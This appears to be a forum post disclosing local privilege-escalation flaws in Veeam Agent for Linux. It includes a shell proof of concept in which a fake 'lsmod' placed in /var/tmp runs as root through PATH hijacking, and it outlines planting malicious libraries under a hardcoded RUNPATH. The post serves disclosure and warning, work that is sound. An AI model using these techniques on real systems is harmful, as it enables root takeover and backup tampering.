FWIW: Take care of the PATH environment variable used when VeeamAgent gets started, otherwise one may hijack your machine/backups.
Proof-of-concept:
sudo bash
mkdir /etc/systemd/system/veeamservice.service.d/
printf '[Service]\nEnvironment="PATH=/var/tmp:/usr/bin:/usr/sbin"\n' \
>/etc/systemd/system/veeamservice.service.d/path.conf
systemctl daemon-reload
systemctl restart veeamservice
exit
# as an unprivileged user:
printf '#!/bin/sh\ntouch /I_took_over_your_system\n' >/var/tmp/lsmod
chmod 0755 /var/tmp/lsmod
# That's it. Now try to mount a backup, e.g.
veeamconfig point mount --id c10f9905-7fd9-4997-9a00-d0014073b50c
ls -al /I_took_over_your_system
The problem is, that veeam tries to find out in a very amateurish way, whether the fuse filesystem is currently supported: instead of using the API (just read /proc/filesystems line by line and check, whether it contains the word 'fuse') it chooses to widely open its doors for malicious scripts/software by calling "sh -c lsmod | grep fuse" as well as "modprobe fuse". The latter is as said completely wrong/huge design flaw, because it checks the implementation (nobody guarantees, that always a kernel module called 'fuse' provides the 'fuse filesystem' of the running OS) and that it executes running as root 'sh', 'lsmod', 'grep' and 'modprobe' from untrusted pathes (anwhere it finds them in the supplied PATH list). So as soon as one has write permission to such a directory, he can take over the machine w/o eazily.
Another problem is the hardcoded RUNPATH '/usr/lib/veeam/:/mnt/cmake_output/x64/libs'. So as soon as one is able to mount something on or below /mnt/cmake_output, veeam blindly trusts libs placed there and executes whatever got implanted there as user root! So e.g. download the source code of libuuid (or any other of libdl, libblkid, librt, libattr, libfuse, libpthread, libm), inject some code to take over the machine or to modify/upload the backup repo, and put it in /mnt/cmake_output/x64/libs/. Bingo.
Also note, that - very strange for such sensible thing like a backup - one may start a backup/restore session without any authentification!
Veeam got notified about this ~ 3 weeks ago (#04741484), but still was not able to provide a fix for such a simple thing, what would take an average C programmer max. 30 min. It seems, that the Linux (as well as Solaris) implementation is just the work of an external contractor, who does not have the required expertise neither for the related OS nor for security and just embedded GNU tar in something, what looks like a backup software (which would also explain its very very poor performance). And now, when immediately actions are needed, they can't even do the simplest things because they need to hire an expert or find another contractor which obviously takes a lot of time.
Anyway: IMHO there are much more security problems. Putting the nose of some security experts on it (and possibly on the server) probably reveals a lot of other odd things.
So my conclusion is, that one should not trust veeam agent for linux (and possibly other *x based clients) and should be very very careful, where/in which environment it is going to be used/run. Watch out for any guests on a regular base
